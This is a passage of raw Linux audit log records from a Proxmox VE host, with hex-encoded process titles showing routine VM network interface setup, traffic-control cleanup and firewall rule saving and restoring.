proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PATH msg=audit(1781965558.439:66127): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965081713,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965081.713:64081): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PATH msg=audit(1781965558.439:66127): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.706:64080): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PATH msg=audit(1781965558.439:66126): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.706:64079): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965558439,"@rawstring":"node=pve type=PATH msg=audit(1781965558.439:66125): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076706,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.706:64078): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965555189,"@rawstring":"node=pve type=PATH msg=audit(1781965555.189:66124): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.697:64077): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965555189,"@rawstring":"node=pve type=PATH msg=audit(1781965555.189:66124): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.697:64076): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PATH msg=audit(1781965555.184:66123): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076697,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.697:64075): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PATH msg=audit(1781965555.184:66123): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076449,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.449:64074): proctitle=2F7362696E2F74630071646973630064656C0064657600746170383737693000726F6F74"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PATH msg=audit(1781965555.184:66122): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.444:64073): proctitle=7368002D63002F7362696E2F74632071646973632064656C2064657620746170383737693020726F6F74203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PATH msg=audit(1781965555.184:66122): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076440,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.440:64072): proctitle=2F7362696E2F74630071646973630064656C0064657600746170383737693000696E6772657373"} {"@timestamp":1781965555184,"@rawstring":"node=pve type=PATH msg=audit(1781965555.184:66121): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076437,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.437:64071): proctitle=7368002D63002F7362696E2F74632071646973632064656C2064657620746170383737693020696E6772657373203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965555179,"@rawstring":"node=pve type=PATH msg=audit(1781965555.179:66120): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.431:64070): proctitle=2F7362696E2F74630066696C7465720064656C0064657600746170383737693000706172656E7400666666663A0070726F746F636F6C00616C6C007072656600353000753332"} {"@timestamp":1781965555179,"@rawstring":"node=pve type=PATH msg=audit(1781965555.179:66120): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076427,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.427:64069): proctitle=7368002D63002F7362696E2F74632066696C7465722064656C2064657620746170383737693020706172656E7420666666663A2070726F746F636F6C20616C6C207072656620353020753332203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965555179,"@rawstring":"node=pve type=PATH msg=audit(1781965555.179:66120): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076419,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.419:64068): proctitle=2F7362696E2F746300636C6173730064656C0064657600746170383737693000706172656E7400313A00636C617373696400313A31"} {"@timestamp":1781965555170,"@rawstring":"node=pve type=PATH msg=audit(1781965555.170:66119): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076415,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.415:64067): proctitle=7368002D63002F7362696E2F746320636C6173732064656C2064657620746170383737693020706172656E7420313A20636C617373696420313A31203E2F6465762F6E756C6C20323E2631"} {"@timestamp":1781965555170,"@rawstring":"node=pve type=PATH msg=audit(1781965555.170:66119): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076384,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.384:64066): proctitle=2F7362696E2F6970006C696E6B00736574007461703837376930006D617374657200667762723837376930"} {"@timestamp":1781965555164,"@rawstring":"node=pve type=PATH msg=audit(1781965555.164:66118): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076375,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.375:64065): proctitle=2F7362696E2F6970006C696E6B00736574007461703837376930006D74750031353030"} {"@timestamp":1781965555164,"@rawstring":"node=pve type=PATH msg=audit(1781965555.164:66118): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076369,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.369:64064): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930006D617374657200667762723837376930"} {"@timestamp":1781965555156,"@rawstring":"node=pve type=PATH msg=audit(1781965555.156:66117): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076319,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.319:64063): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930006D617374657200667762723837376930"} {"@timestamp":1781965555156,"@rawstring":"node=pve type=PATH msg=audit(1781965555.156:66117): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076310,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.310:64062): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930006D74750031353030"} {"@timestamp":1781965555149,"@rawstring":"node=pve type=PATH msg=audit(1781965555.149:66116): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076307,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.307:64061): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030006D617374657200766D627230"} {"@timestamp":1781965555149,"@rawstring":"node=pve type=PATH msg=audit(1781965555.149:66116): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076302,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.302:64060): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030006D617374657200766D627230"} {"@timestamp":1781965555142,"@rawstring":"node=pve type=PATH msg=audit(1781965555.142:66114): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076292,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.292:64059): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030006D74750031353030"} {"@timestamp":1781965555142,"@rawstring":"node=pve type=PATH msg=audit(1781965555.142:66114): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.277:64058): proctitle=2F7362696E2F6970006C696E6B0073657400667770723837377030007570006D74750031353030"} {"@timestamp":1781965555136,"@rawstring":"node=pve type=PATH msg=audit(1781965555.136:66113): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.278:64055): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F667770723837377030002D2D7072656669783D2F6E65742F697076342F6E656967682F667770723837377030002D2D7072656669783D2F6E65742F697076362F636F6E662F667770"} {"@timestamp":1781965555136,"@rawstring":"node=pve type=PATH msg=audit(1781965555.136:66113): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076280,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.280:64057): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F66776C6E3837376930002D2D7072656669783D2F6E65742F697076342F6E656967682F66776C6E3837376930002D2D7072656669783D2F6E65742F697076362F636F6E662F66776C"} {"@timestamp":1781965555130,"@rawstring":"node=pve type=PATH msg=audit(1781965555.130:66112): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076278,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.278:64056): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965555130,"@rawstring":"node=pve type=PATH msg=audit(1781965555.130:66112): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076277,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.277:64054): proctitle=\"(udev-worker)\""} {"@timestamp":1781965555122,"@rawstring":"node=pve type=PATH msg=audit(1781965555.122:66111): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.272:64053): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965555122,"@rawstring":"node=pve type=PATH msg=audit(1781965555.122:66111): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076272,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.272:64052): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F66776C6E38373769302F2E2E2F2E2E"} {"@timestamp":1781965555116,"@rawstring":"node=pve type=PATH msg=audit(1781965555.116:66110): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076268,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.268:64051): proctitle=2F7362696E2F6970006C696E6B007365740066776C6E3837376930007570006D74750031353030"} {"@timestamp":1781965555116,"@rawstring":"node=pve type=PATH msg=audit(1781965555.116:66110): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076271,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.271:64050): proctitle=\"(udev-worker)\""} {"@timestamp":1781965555111,"@rawstring":"node=pve type=PATH msg=audit(1781965555.111:66109): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.270:64049): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965555111,"@rawstring":"node=pve type=PATH msg=audit(1781965555.111:66109): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.270:64048): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F6677707238373770302F2E2E2F2E2E"} {"@timestamp":1781965555102,"@rawstring":"node=pve type=PATH msg=audit(1781965555.102:66108): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076267,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.267:64047): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965555102,"@rawstring":"node=pve type=PATH msg=audit(1781965555.102:66108): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076257,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.257:64046): proctitle=2F7362696E2F6970006C696E6B00616464006E616D650066776C6E3837376930006D74750031353030007479706500766574680070656572006E616D6500667770723837377030006D74750031353030"} {"@timestamp":1781965555094,"@rawstring":"node=pve type=PATH msg=audit(1781965555.094:66107): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.250:64045): proctitle=2F7362696E2F6970006C696E6B0073657400667762723837376930007570006D74750031353030"} {"@timestamp":1781965555094,"@rawstring":"node=pve type=PATH msg=audit(1781965555.094:66107): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076251,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.251:64044): proctitle=2F7573722F6C69622F73797374656D642F73797374656D642D73797363746C002D2D7072656669783D2F6E65742F697076342F636F6E662F667762723837376930002D2D7072656669783D2F6E65742F697076342F6E656967682F667762723837376930002D2D7072656669783D2F6E65742F697076362F636F6E662F667762"} {"@timestamp":1781965555090,"@rawstring":"node=pve type=PATH msg=audit(1781965555.090:66106): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.250:64043): proctitle=2F62696E2F7368002D65002F7573722F6C69622F6F70656E2D69736373692F6E65742D696E746572666163652D68616E646C6572007374617274"} {"@timestamp":1781965555090,"@rawstring":"node=pve type=PATH msg=audit(1781965555.090:66106): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076249,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.249:64042): proctitle=\"(udev-worker)\""} {"@timestamp":1781965555083,"@rawstring":"node=pve type=PATH msg=audit(1781965555.083:66105): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076247,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.247:64041): proctitle=7265616C70617468002F7379732F646576696365732F7669727475616C2F6E65742F6677627238373769302F2E2E2F2E2E"} {"@timestamp":1781965555083,"@rawstring":"node=pve type=PATH msg=audit(1781965555.083:66105): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076246,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.246:64040): proctitle=2F62696E2F7368002F7573722F6C69622F756465762F7669727475616C2D66756E6374696F6E2D6E616D696E672D68656C706572"} {"@timestamp":1781965555082,"@rawstring":"node=pve type=PATH msg=audit(1781965555.082:66104): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.243:64039): proctitle=2F7362696E2F6970006C696E6B0061646400667762723837376930007479706500627269646765"} {"@timestamp":1781965555082,"@rawstring":"node=pve type=PATH msg=audit(1781965555.082:66104): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076238,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.238:64038): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765007461703837376930"} {"@timestamp":1781965555082,"@rawstring":"node=pve type=PATH msg=audit(1781965555.082:66103): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076234,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.234:64037): proctitle=2F7573722F62696E2F7065726C002F7573722F6C6962657865632F71656D752D7365727665722F7076652D627269646765007461703837376930"} {"@timestamp":1781965555076,"@rawstring":"node=pve type=PATH msg=audit(1781965555.076:66102): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076228,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.228:64036): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965555076,"@rawstring":"node=pve type=PATH msg=audit(1781965555.076:66102): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076221,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.221:64035): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965555076,"@rawstring":"node=pve type=PATH msg=audit(1781965555.076:66102): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076217,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.217:64034): proctitle=2F7362696E2F6970006C696E6B007365740074617038373769300075700070726F6D697363006F6E006D74750031353030"} {"@timestamp":1781965555068,"@rawstring":"node=pve type=PATH msg=audit(1781965555.068:66101): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965076215,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965076.215:64033): proctitle=2F7362696E2F6970006C696E6B007365740074617038373769300075700070726F6D697363006F6E006D74750031353030"} {"@timestamp":1781965555068,"@rawstring":"node=pve type=PATH msg=audit(1781965555.068:66101): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075853,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.853:64032): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965555058,"@rawstring":"node=pve type=PATH msg=audit(1781965555.058:66100): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075850,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.850:64031): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965555058,"@rawstring":"node=pve type=PATH msg=audit(1781965555.058:66100): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.849:64030): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965555050,"@rawstring":"node=pve type=PATH msg=audit(1781965555.050:66099): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075849,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.849:64029): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965555050,"@rawstring":"node=pve type=PATH msg=audit(1781965555.050:66099): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075844,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.844:64028): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965555041,"@rawstring":"node=pve type=PATH msg=audit(1781965555.041:66098): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075839,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.839:64027): proctitle=\"ip6tables-save\""} {"@timestamp":1781965555041,"@rawstring":"node=pve type=PATH msg=audit(1781965555.041:66098): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965075832,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965075.832:64026): proctitle=\"iptables-save\""} {"@timestamp":1781965555031,"@rawstring":"node=pve type=PATH msg=audit(1781965555.031:66097): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 